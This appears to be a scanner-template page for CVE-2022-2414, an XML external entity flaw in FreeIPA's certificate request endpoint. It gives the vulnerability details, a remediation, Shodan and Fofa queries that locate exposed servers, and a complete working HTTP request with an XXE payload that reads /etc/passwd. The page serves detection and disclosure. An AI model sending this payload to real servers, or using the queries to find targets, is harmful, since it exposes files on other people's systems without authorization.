| Title | FreeIPA - XML Entity Injection |
|---|---|
| Author | DhiyaneshDk |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the server. |
| Remediation | Apply the latest security patches and updates provided by the vendor to fix the XML Entity Injection vulnerability in FreeIPA. |
| CVSS Score | 7.5 |
| EPSS Score | 0.91576 |
| CVE ID | CVE-2022-2414 |
| CWE ID | CWE-611 |
| Shodan Query | title:"Identity Management" html:"FreeIPA"http.title:"identity management" html:"freeipa" |
| Fofa Query | title="Identity Management"title="identity management"title="identity management" html:"freeipa" |
| Tags | cve cve2022 dogtag freeipa xxe dogtagpki vkev vuln |
Access to external entities when parsing XML documents can lead to XML external entity (XXE) attacks. This flaw allows a remote attacker to potentially retrieve the content of arbitrary files by sending specially crafted HTTP requests.
POST /ca/rest/certrequests HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.4
Connection: close
Content-Length: 192
Content-Type: application/xml
Accept-Encoding: gzip
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<CertEnrollmentRequest>
<Attributes/>
<ProfileID>&ent;</ProfileID>
</CertEnrollmentRequest>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2414.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-2414.pcap
N/AN/A